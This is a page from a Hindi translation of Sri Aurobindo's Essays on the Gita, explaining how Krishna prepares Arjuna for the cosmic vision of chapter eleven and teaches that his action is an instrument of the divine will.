गीता प्रबंध -अरविन्द पृ. 284

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गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
4.राजगुह्य

यहां तक जो सत्य क्रम से अधिकाधिक स्पष्ट रूप से प्रतिपादित हुआ और जिसके प्रतिपादन - क्रम के प्रत्येक सोपान के साथ संपूर्ण ज्ञान का एक - एक नवीन पहलू बराबर सामने आता गया और उसकी बुनियाद पर आध्यात्मिक अवस्था और कर्म की कोई - न - कोई विशेष बात प्रस्थापित हुई , उसी सत्य को अब एक ऐसे विषय की ओर फेरना है जो अत्यंत महत्वपूर्ण है। इसलिये भगवान् आगे जो कुछ कहने वाले हैं उसके निर्णायक स्वरूप की ओर , पहले ही , ध्यान दिला देते हैं जिसमें अर्जुन के अंतःकरण को ‘ समग्र ’ भगवान् के ज्ञान और दर्शन के सामने लाकर उसे ग्यारहवें अध्याय के उस विराट् दर्शन के लिये प्रस्तुत करना चाहते हैं जिस दर्शन से ही कुरूक्षेत्र का यह योद्धा अपनी सत्ता , कर्म और उद्दष्टि कार्य के उन प्रवत्र्तक और धारक को , मनुष्य और जगत् में निवास करने वाले उन भगवान् को जान ले जो मनुष्य और जगत् में निवास करते हुए भी इनकी किसी चीज से सीमित या बद्ध नहीं है , क्योंकि सब कुछ उन्हींसे निकलता है , उन्हींकी अनंत सत्ता में उसकी विस्तारित गतिविधि है , उन्हींके संकल्प के सहारे यह जारी है और स्थित है , यह जो कुछ है इसकी सार्थकता उन्हींके दिव्य आत्मज्ञान में है , वे ही सदा इसके मूल , इसके सार- तत्व और इसके पर्यवसान हैं।
अर्जुन को यह जानना है कि वह उन्हीं एक भगवान् में रहता और उनकी जो शक्ति उसके अंदर है उसीसे सब कुछ करता है , उसका सारा क्रिया - कलाप भागवत कर्म का एक निमित्तमात्र है , उसकी अहमात्मक चेतना केवल एक आवरण है और उसके अज्ञान के निकट वह अंतःस्थित आत्मा का , परम पुरूष परमेश्वर के अमर स्फुलिंग और सनातन अंश का मिथ्या प्रतिभास मात्र है।इस दर्शन का उद्देश्य यह है कि जो कुछ भी संशय उसके मन में बच रहा हो वह दूर हो जाये ; वह उस कर्म के लिये सशक्त बन जाये जिससे वह हट गया है पर जिसे करने का उसे ऐसा आदेश प्राप्त हुआ है जिसे न वह बदल सकता है न उससे हट ही सकता है हटना उस अंतःस्थित भगवत्संकल्प और भगवदादेश को ही अमान्य और अस्वीकार कर देना होगा जो उसकी वैयक्तिक चेतना में तो प्रकट हो ही चुका है पर अब शीघ्र ही महत्तर और वैश्व आदेश का रूप ग्रहण करने वाला है। क्योंकि अब वह विश्वरूप उसे भगवान् का वह शरीर भासता है जिसके अंदर कालात्मा निवास करते हैं और महान् और भयावनी वाणी से उसे संग्राम करने का भीषण कर्म सौंपते हैं। उससे कहा जाता है कि इसके द्वारा वह अपनी आत्मा को मुक्त कर ले और विश्व के इस रहस्याभिनय में अपना कर्तव्य पूरा करे , मुक्ति और कर्म दोनों एक ही व्यापार बन जायें ।


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टीका टिप्पणी और संदर्भ

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